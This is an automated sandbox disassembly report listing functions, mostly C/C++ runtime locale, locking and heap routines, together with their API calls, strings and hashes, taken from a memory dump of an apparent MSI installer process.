Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_FreeLocalRegister
String ID:
API String ID: 1378673503-0
Opcode ID: 4fb45ab6e8d45144de4ec08e146f8fb33e8223680707310e61b5e78d68c96065
Instruction ID: f5c941c9108d71ec5d6e4994e5f880ca064f743d4eac62e406df23e7f927e7e8
Opcode Fuzzy Hash: 4fb45ab6e8d45144de4ec08e146f8fb33e8223680707310e61b5e78d68c96065
Instruction Fuzzy Hash: 4C51CE71810659DFCB20DF58E944BAEBBF4FF04324F25465AE822A7390D770AE44CBA0

Function 00B05981 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 369COMMONLIBRARYCODE

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00B05A6B
__freea.LIBCMT ref: 00B05B01
__freea.LIBCMT ref: 00B05B1D

Strings

a/p, xrefs: 00B05BE5
am/pm, xrefs: 00B05B81

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID: a/p$am/pm
API String ID: 3509577899-3206640213
Opcode ID: f3991a1f38b400c86812d129c4e89fac514f5234ab88a77178c055ef191eac47
Instruction ID: 4d9a7880c28b547c7a9e094b0fd9c115149727da32a6e44a4ed2c5402903cefe
Opcode Fuzzy Hash: f3991a1f38b400c86812d129c4e89fac514f5234ab88a77178c055ef191eac47
Instruction Fuzzy Hash: C7C1A031900A159BDB349F68C889ABB7FF4FF05300F2482DAE505ABAD1E6359D41CF61

Function 00AFAEF5 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00AFAEEC,00AF9710,00AF85A3), ref: 00AFAF03
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00AFAF11
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00AFAF2A
SetLastError.KERNEL32(00000000,00AFAEEC,00AF9710,00AF85A3), ref: 00AFAF7C

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 892605207cf201b280f52b4c5e7a5c6312e2b3405b3cf6e6ba0b7e568358638f
Instruction ID: add748ae2f56b04c6adfc8c9ddb40e59805c4e5ab0a960b3b6769124f09f0558
Opcode Fuzzy Hash: 892605207cf201b280f52b4c5e7a5c6312e2b3405b3cf6e6ba0b7e568358638f
Instruction Fuzzy Hash: 980124B228D31D6EE62827F6AE85BBB6694DB11BB07300329F3185B0E1EF164E106745

Function 00AED38D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AED394
_Getvals.LIBCPMT ref: 00AED3E6
_Mpunct.LIBCPMT ref: 00AED421
_Mpunct.LIBCPMT ref: 00AED43B

Strings

$+xv, xrefs: 00AED446

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Mpunct$GetvalsH_prolog3
String ID: $+xv
API String ID: 2204710431-1686923651
Opcode ID: d778f06cc8b1c65d03d81bab0bf2da3be23c6a838bd36580f4cb194c0bb1f7ef
Instruction ID: 78e5cbac18c146d71fb9af11180ec1f2f0baaabc9c122f880cf2b935761edd23
Opcode Fuzzy Hash: d778f06cc8b1c65d03d81bab0bf2da3be23c6a838bd36580f4cb194c0bb1f7ef
Instruction Fuzzy Hash: E221B0B1904B966EDB21DF75849077BBEF8AB08300B044A5AE199C7A42E734E601CB90

Function 00AD83E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(6E9B59AC,6E9B59AC,?,?,00000000,00B1A221,000000FF), ref: 00AD847B

Part of subcall function 00AF7875: EnterCriticalSection.KERNEL32(00B34AF8,00000000,?,?,00AD25B6,00B3571C,6E9B59AC,?,00000000,00B193ED,000000FF,?,00AD1A26), ref: 00AF7880
Part of subcall function 00AF7875: LeaveCriticalSection.KERNEL32(00B34AF8,?,?,00AD25B6,00B3571C,6E9B59AC,?,00000000,00B193ED,000000FF,?,00AD1A26,?,?,?,6E9B59AC), ref: 00AF78BD

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00AD8440
GetProcAddress.KERNEL32(00000000), ref: 00AD8447

Part of subcall function 00AF782B: EnterCriticalSection.KERNEL32(00B34AF8,?,?,00AD2627,00B3571C,00B1CCC0), ref: 00AF7835
Part of subcall function 00AF782B: LeaveCriticalSection.KERNEL32(00B34AF8,?,?,00AD2627,00B3571C,00B1CCC0), ref: 00AF7868
Part of subcall function 00AF782B: RtlWakeAllConditionVariable.NTDLL ref: 00AF78DF

Strings

kernel32, xrefs: 00AD843B
IsWow64Process, xrefs: 00AD8436

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentHandleModuleProcProcessVariableWake
String ID: IsWow64Process$kernel32
API String ID: 2056477612-3789238822
Opcode ID: 17cdce98fdb36a2611246dc84d20e934b6186beee1d4bef6f047d633cced7270
Instruction ID: dc9d3a901629f3c60a8012e031592574cded02a82ebb37b078f3156ab7e4f890
Opcode Fuzzy Hash: 17cdce98fdb36a2611246dc84d20e934b6186beee1d4bef6f047d633cced7270
Instruction Fuzzy Hash: A21175B5D44715EFCB20DF94ED05BAD77A8FB08720F20465AE91593390DF756900CA90

Function 00B08461 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,6E9B59AC,?,?,00000000,00B1CBE4,000000FF,?,00B083F1,?,?,00B083C5,?), ref: 00B08496
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00B084A8
FreeLibrary.KERNEL32(00000000,?,00000000,00B1CBE4,000000FF,?,00B083F1,?,?,00B083C5,?), ref: 00B084CA

Strings

CorExitProcess, xrefs: 00B084A0
mscoree.dll, xrefs: 00B0848F

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b0900e5aded69f830ae0cde292db69788dbb1f998447c15e27959acbb1bc4b80
Instruction ID: b923aa4938d5c8d03ad039e842627d21703dd7735061d0efaee72bd1056da2df
Opcode Fuzzy Hash: b0900e5aded69f830ae0cde292db69788dbb1f998447c15e27959acbb1bc4b80
Instruction Fuzzy Hash: 5A016231944629BFDB119F54DC45BEEBBF9FB04B15F008565E811E36E0DF789900CA90

Function 00AEDDD2 Relevance: 7.9, APIs: 5, Instructions: 433COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AEDDD9
collate.LIBCPMT ref: 00AEDF54
numpunct.LIBCPMT ref: 00AEE1CE

Part of subcall function 00AE83C2: __EH_prolog3.LIBCMT ref: 00AE83C9

Part of subcall function 00AE815A: __EH_prolog3.LIBCMT ref: 00AE8161
Part of subcall function 00AE815A: std::_Lockit::_Lockit.LIBCPMT ref: 00AE816B
Part of subcall function 00AE815A: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE81DC

Part of subcall function 00ADEAF0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADEB1D
Part of subcall function 00ADEAF0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADEB40
Part of subcall function 00ADEAF0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADEB68
Part of subcall function 00ADEAF0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADEC07

Part of subcall function 00AE4403: Concurrency::cancel_current_task.LIBCPMT ref: 00AE44C6

Part of subcall function 00AE764B: __EH_prolog3.LIBCMT ref: 00AE7652
Part of subcall function 00AE764B: std::_Lockit::_Lockit.LIBCPMT ref: 00AE765C
Part of subcall function 00AE764B: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE76CD

__Getcoll.LIBCPMT ref: 00AEDF94

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

Part of subcall function 00AD84C0: LocalAlloc.KERNEL32(00000040,00000000,00AF839D,00000000,6E9B59AC,?,00000000,?,00000000,?,00B1CB8D,000000FF,?,00AD17D5,00000000,00B1D3BA), ref: 00AD84C6

Part of subcall function 00ADB9E0: __Getctype.LIBCPMT ref: 00ADB9EB

Part of subcall function 00AE7A5E: __EH_prolog3.LIBCMT ref: 00AE7A65
Part of subcall function 00AE7A5E: std::_Lockit::_Lockit.LIBCPMT ref: 00AE7A6F
Part of subcall function 00AE7A5E: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7AE0

Part of subcall function 00AE7B88: __EH_prolog3.LIBCMT ref: 00AE7B8F
Part of subcall function 00AE7B88: std::_Lockit::_Lockit.LIBCPMT ref: 00AE7B99
Part of subcall function 00AE7B88: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7C0A

Part of subcall function 00AE7DDC: __EH_prolog3.LIBCMT ref: 00AE7DE3
Part of subcall function 00AE7DDC: std::_Lockit::_Lockit.LIBCPMT ref: 00AE7DED
Part of subcall function 00AE7DDC: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7E5E

Part of subcall function 00AE7D47: __EH_prolog3.LIBCMT ref: 00AE7D4E
Part of subcall function 00AE7D47: std::_Lockit::_Lockit.LIBCPMT ref: 00AE7D58
Part of subcall function 00AE7D47: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7DC9

Part of subcall function 00AE4403: __EH_prolog3.LIBCMT ref: 00AE440A
Part of subcall function 00AE4403: std::_Lockit::_Lockit.LIBCPMT ref: 00AE4414
Part of subcall function 00AE4403: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE44BB

codecvt.LIBCPMT ref: 00AEE27F

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3$AllocConcurrency::cancel_current_taskGetcollGetctypeLocalcodecvtcollatenumpunct
String ID:
API String ID: 2252558201-0
Opcode ID: efd4a87e10dd02aaf20020f88f35aa83d6b6ce2f213cffff84c5877377336201
Instruction ID: 5fd2154664fe5c999b9095e4ee44ecbb698b42a37b5983e665d7c6638b59d983
Opcode Fuzzy Hash: efd4a87e10dd02aaf20020f88f35aa83d6b6ce2f213cffff84c5877377336201
Instruction Fuzzy Hash: ADE104B190029AAFDB21AF668D026BF7EB9FF55350F15452EF9196B381EF308C108791

Function 00B0C382 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00B0C409
__alloca_probe_16.LIBCMT ref: 00B0C4CA
__freea.LIBCMT ref: 00B0C531

Part of subcall function 00B0B127: HeapAlloc.KERNEL32(00000000,?,?,?,00B0AAAA,?,00000000,?,00AFC282,?,?,?,?,?,?,00AD1668), ref: 00B0B159

__freea.LIBCMT ref: 00B0C546
__freea.LIBCMT ref: 00B0C556

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 7f411535b509cc5248705a7b023e1946c31583475cb3fbef0449ff941141c610
Instruction ID: ed619ab069786dced9a42cde596bf56e9f5862dcc97f304c67d8368056e95913
Opcode Fuzzy Hash: 7f411535b509cc5248705a7b023e1946c31583475cb3fbef0449ff941141c610
Instruction Fuzzy Hash: FE51A572600116AFEF215F64DC92EBF7EE9EF54354B1542A8FD08D6291EB31ED1087A0

Function 00ADC590 Relevance: 7.6, APIs: 5, Instructions: 116COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00ADC5BD
std::_Lockit::_Lockit.LIBCPMT ref: 00ADC5E0
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADC608
std::_Facet_Register.LIBCPMT ref: 00ADC67D
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADC6A7

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 21053eca8456f067447b7d3c144c1c86df213edd1c2c662266b95fa7f8d381d0
Instruction ID: b6b43425285161a123cda45b8ac6e3854b86d96597af28eb3e94b029a8674d53
Opcode Fuzzy Hash: 21053eca8456f067447b7d3c144c1c86df213edd1c2c662266b95fa7f8d381d0
Instruction Fuzzy Hash: 3141A071C0069ADFCB11DF68D940BAEBBF4EF04724F68425AE815A7391DB34AE04CB91

Function 00ADEAF0 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00ADEB1D
std::_Lockit::_Lockit.LIBCPMT ref: 00ADEB40
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADEB68
std::_Facet_Register.LIBCPMT ref: 00ADEBDD
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADEC07

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 77b70e9a0c3203aefd1d2a4042b168198eb18478afa6ba830b9f764e1a7bb43f
Instruction ID: b6fd1e522263b253699fd268997af69a8553190d5e7f9cb54fc61a0d9c997b90
Opcode Fuzzy Hash: 77b70e9a0c3203aefd1d2a4042b168198eb18478afa6ba830b9f764e1a7bb43f
Instruction Fuzzy Hash: 2C41A071900659DFCB11DF58D944B9EBBB4FB04724F24869AE816AB391DB30BE04CB91

Function 00ADEC30 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00ADEC5D
std::_Lockit::_Lockit.LIBCPMT ref: 00ADEC80
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADECA8
std::_Facet_Register.LIBCPMT ref: 00ADED1D
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADED47

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 4f19e5a7788a0db2f199469b4bd0bc91255314c6f107cc359329bc0ae13cbc09
Instruction ID: 809204f858380c9973eed6b582fa8378ba3a5cf763ce1f4484a28b5528a74316
Opcode Fuzzy Hash: 4f19e5a7788a0db2f199469b4bd0bc91255314c6f107cc359329bc0ae13cbc09
Instruction Fuzzy Hash: E6410571C10659DFCB11DF68D940BAEBBB4FB04724F24465AE812AB391DB31AE04CBD1

Function 00ADED70 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00ADED9D
std::_Lockit::_Lockit.LIBCPMT ref: 00ADEDC0
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADEDE8
std::_Facet_Register.LIBCPMT ref: 00ADEE5D
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADEE87

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: fbd5943c211e6207eca11c4bc1eb149b9644de645a79da74f389d523c65efefd
Instruction ID: 42c78a3bec7d068d21c75fdc9f84205800fc6c580714135778b9ef9a11c9fb8e
Opcode Fuzzy Hash: fbd5943c211e6207eca11c4bc1eb149b9644de645a79da74f389d523c65efefd
Instruction Fuzzy Hash: 0941D571D00255EFCB11DF68D9407AEBBB4FB04724F24465AE816AB391DB30AE44CBD1

Function 00AD7C30 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000010,00000010,?,00AD7912,?,?), ref: 00AD7C37

Strings

Call to ShellExecuteEx() returned:, xrefs: 00AD7C5D
Last error=, xrefs: 00AD7CC1
true, xrefs: 00AD7C41
false, xrefs: 00AD7C46

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ErrorLast
String ID: Call to ShellExecuteEx() returned:$Last error=$false$true
API String ID: 1452528299-1782174991
Opcode ID: 21b6162489e24d823cee7a3cbc78f8b9a73683ca917ea0f7d20d3fbb2906608e
Instruction ID: da56529ca5c2e3bf90ddd8955a1b959dd703bf96a761d0e133af24dcd31e3b42
Opcode Fuzzy Hash: 21b6162489e24d823cee7a3cbc78f8b9a73683ca917ea0f7d20d3fbb2906608e
Instruction Fuzzy Hash: D4215C49A202628ACB741F3D8400739B3F0EF54755B6518AFECDAD7390FB698DC28390

Function 00AE6FF9 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

_Maklocstr.LIBCPMT ref: 00AE7019
_Maklocstr.LIBCPMT ref: 00AE7036
_Maklocstr.LIBCPMT ref: 00AE7053
_Maklocchr.LIBCPMT ref: 00AE7065
_Maklocchr.LIBCPMT ref: 00AE7078

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Maklocstr$Maklocchr
String ID:
API String ID: 2020259771-0
Opcode ID: 890f096140a1f05beea16bcfb3b4fe19f9cb967ad6cbeee2b4ab5c7f033becab
Instruction ID: ab2a3822b72862426a548575c776f510fb9bf9746cf84ed7c0a1bb2c706b6090
Opcode Fuzzy Hash: 890f096140a1f05beea16bcfb3b4fe19f9cb967ad6cbeee2b4ab5c7f033becab
Instruction Fuzzy Hash: 2C119EB1508784BBE720EBA69881F56B7ECFF08310F04051AF289CBA41D365FD5087A5

Function 00AE2823 Relevance: 7.6, APIs: 5, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE282A
std::_Lockit::_Lockit.LIBCPMT ref: 00AE2834

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

numpunct.LIBCPMT ref: 00AE286E
std::_Facet_Register.LIBCPMT ref: 00AE2885
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE28A5

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: 3332173ce17caf2ca067647f1c4a9ee70fea71a9878aa1d0c9d430b896659e94
Instruction ID: b20ef12bf2e997f6c00d71cc787a608f25be14758f67edce4ff3873e966447ba
Opcode Fuzzy Hash: 3332173ce17caf2ca067647f1c4a9ee70fea71a9878aa1d0c9d430b896659e94
Instruction Fuzzy Hash: 0211E136D002998BCF08EB65DA516BE7BB9AF80710F680149E4116B391DF34AE01CB90

Function 00AE8030 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE8037
std::_Lockit::_Lockit.LIBCPMT ref: 00AE8041

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

numpunct.LIBCPMT ref: 00AE807B
std::_Facet_Register.LIBCPMT ref: 00AE8092
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE80B2

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Registernumpunct
String ID:
API String ID: 743221004-0
Opcode ID: b9f3958bd519cf676d3e3ce3134294e82981085162caee86eb3fe50306207e4c
Instruction ID: f56f89ac33395199e83c4e49f101e722dd9941ed85771d16e2bcc50b3ce3286e
Opcode Fuzzy Hash: b9f3958bd519cf676d3e3ce3134294e82981085162caee86eb3fe50306207e4c
Instruction Fuzzy Hash: 0F01F536D00659CBCF00EBA5DA456BE77B1AF84310F240149F4156B3D2DF38AE05CB90

Function 00AE75B6 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE75BD
std::_Lockit::_Lockit.LIBCPMT ref: 00AE75C7

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

codecvt.LIBCPMT ref: 00AE7601
std::_Facet_Register.LIBCPMT ref: 00AE7618
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7638

Memory Dump Source

